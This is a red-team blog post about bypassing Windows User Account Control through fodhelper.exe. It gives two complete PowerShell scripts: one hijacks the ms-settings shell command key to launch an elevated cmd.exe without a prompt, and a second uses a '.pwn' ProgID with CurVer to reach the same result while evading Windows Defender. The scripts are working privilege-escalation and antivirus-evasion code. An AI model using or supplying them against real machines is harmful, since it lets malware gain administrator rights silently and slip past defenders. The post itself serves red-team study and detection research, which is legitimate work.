root@V3dedBlog:~#
REDTEAM

Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses

Introduction

In today’s blog, we will specifically talk about evading antivirus signatures that target registry keys which are associated with UAC (User Account Control) bypasses. First, I will briefly talk about UAC and what it really is. Subsequently, I will look at the fodhelper.exe UAC bypass and how it can be used to execute malicious code in an elevated context. Finally, I will show you a clever trick to evade defense solutions that might prevent the bypass from working. So with that, it’s time to get our hands dirty!


User Account Control (UAC ) Primer

UAC is a mandatory access control enforcement feature of Windows that helps to prevent unauthorized actions or changes occurring to the operating system. This is achieved through an administrative consent prompt, which shows up whenever a user-launched application requires administrative elevation to carry out its tasks.

UAC prompting the user for permissions.

According to Microsoft, this prompt ensures that no unknown or malicious software can silently install itself or inherit administrative privileges unless it is approved beforehand or the user explicitly authorizes it. Notice the word “silently” though. The prompt’s only purpose is to alert the user when a launched program requires elevated privileges. It is then up to the user to decide whether that request should be honored or not. Although this solution is better than having nothing at all, it’s still not ideal. As we all probably know, it is quite easy to trick an inexperienced user into clicking anything just to make an annoying popup disappear ¯\_(ツ)_/¯.

To add insult to injury, what if I told you, that there is a way of launching programs in an elevated context without triggering the prompt at all? Yeah, it is in fact possible! Let me welcome you to the wonderful world of UAC bypasses.

Note: for more in depth explanation of how UAC works check out MSDN.


FodHelper.exe UAC Bypass

FodHelper stands for “Features On Demand Helper”. By default, the fodhelper.exe binary runs with a high integrity level. When launched, it checks for the presence of the following registry keys:

HKCU:\Software\Classes\ms-settings\shell\open\command
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\(default)

If the aforementioned registry keys have commands assigned to them, fodhelper.exe will execute them in an elevated context (without prompting the user).

Demo

To demonstrate fodhelper’s ability to bypass UAC and execute code in an elevated context, we will use the following script from netbiosX:

function Bypass(){ 
    Param (    
        [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
        )

    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force

    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}

With this script, we can utilize the Bypass function to force fodhelper.exe to spawn an elevated instance of cmd.exe without any user interaction whatsoever.

FodHelper.exe setup to launch cmd.exe in an elevated context.

Furthermore, we can easily verify the integrity of the newly created process with a tool such as Process Hacker.

cmd.exe running in high integrity.

So What’s the Catch?

Antivirus. That’s what.

If you were following along so far and actually tested the example I showed in the previous chapter, then you surely noticed that e.g. Windows Defender is not a fan of you writing to the HKCU:\Software\Classes\ms-settings\Shell\Open\command registry key. When you do, it immediately fires an alert to the user about potential malware and instantly stops the write process to the key.

Windows Defender alert about a possible UAC bypass.

What’s funny though, is that more often than not, even if Defender kills your script, your malicious executable will still be launched! That’s usually due to the fact that only the process which wrote to the registry gets terminated (see demo below).

powershell.exe is terminated.
However, cmd.exe is still launched via fodhelper.exedespite the Defender warning.

While this is great, we can do better. Much better. In fact, with a little bit of “magic”, we can make this bypass work flawlessly without Defender killing the calling process and without alerting the user at all! And that all starts with something called ProgIDs.


Programmatic Identifiers (ProgIDs ) in Windows

In Windows, a programmatic identifier (ProgID ) is a registry entry that can be associated with a Class ID (CLSID ), which is a globally unique serial number that identifies a COM (Component Object Model) class object. In simple terms the ProgID is basically a string such as “my-application.document” that represents a CLSID such as “{F9043C85-F6F2-101A-A3C9-08002B2F49FB}”.

In addition, the Windows Shell uses the ProgID registry subkey to associate a file type with an application, and to control the behavior of the association. One of the values used in a ProgID subkey is an element with the name of CurVer. As far as I understand, the CurVer entry is used to set the default version of a COM application if multiple other versions are found on the system - i.e. you want the ProgID to reference version 1.2 of my-application over version 1.1.

In an ideal world, this would be used to distinguish two identical applications with different versions as mentioned above. However, in our case, CurVer can be used to make a temporary version of the Shell subkey, which will in turn hopefully evade detections (as theoretically the original Shell subkey remains untouched).

Note: read MSDN for more information regarding programmatic identifiers.

The Magic

Now that we know what CurVer is and what it does, we can use it to our advantage. More specifically, we can abuse CurVer by setting the Shell subkey to the ProgID with the version name of e.g. .pwn. In order to achieve this, all we really need to do is slightly modify our previous PowerShell script.

function Bypass { 
    Param (    
        [String]$program = "cmd /c start C:\Windows\System32\cmd.exe"
    )
    
    # Warning: a ProgID entry needs to be located in the HKCR (HKEY_CLASSES_ROOT) hive in order to take effect.
    #                                                    HKCR = HKLM:\Software\Classes
    #                                                         = HKCU:\Software\Classes
    New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
    Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
    
    New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
    Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
    
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
    
    Start-Sleep 3
    
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
    Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse -Force
}

If you have trouble seeing what’s happening, imagine the procedure in multiple steps:

If configured correctly, the system should translate this registry setup into HKCU:\Software\Classes\ms-settings\Shell\Open\command by prepending CurVer’s registry path to Shell\Open\command. Note, that the final (concatenated) path is exactly the same as the path used in the original PowerShell script from netbiosX.

With this change, Defender should now be tricked into believing that the original command subkey is untouched. As a result, we should be able to run the bypass without triggering an AV alert.

cmd.exe is launched in an elevated context while powershell.exe is still running in the background (AV has been bypassed).

Mission accomplished.

Note: the last demo was carried out against Defender definitions from 10/19/21.

Note: if you want to see an example of a similar attack being used in the wild, look at page 38 of the InvisiMole report from ESET’s research team.


Kudos

I would like to express my gratitude to Filip Dragovic for sharing the InvisiMole report with me. If it wasn’t for him, I wouldn’t even know that registry manipulation with programmatic identifiers is possible. In addition, I would like to thank Jack for proof-reading my blog before its release and adding in a few important details. You guys are both amazing, thank you for helping me.


Appendix

If you prefer video demos instead of gifs, look at the links below.


Conclusion

That’s about it folks. I hope you enjoyed this post! As was the case with my previous blog, I just felt like this technique deserved a little bit more recognition. Main reason being, that I really struggled to find information regarding this attack vector on the internet. Therefore, if you read the blog until its end, I really hope you at least learnt something new. Thank you, and until next time!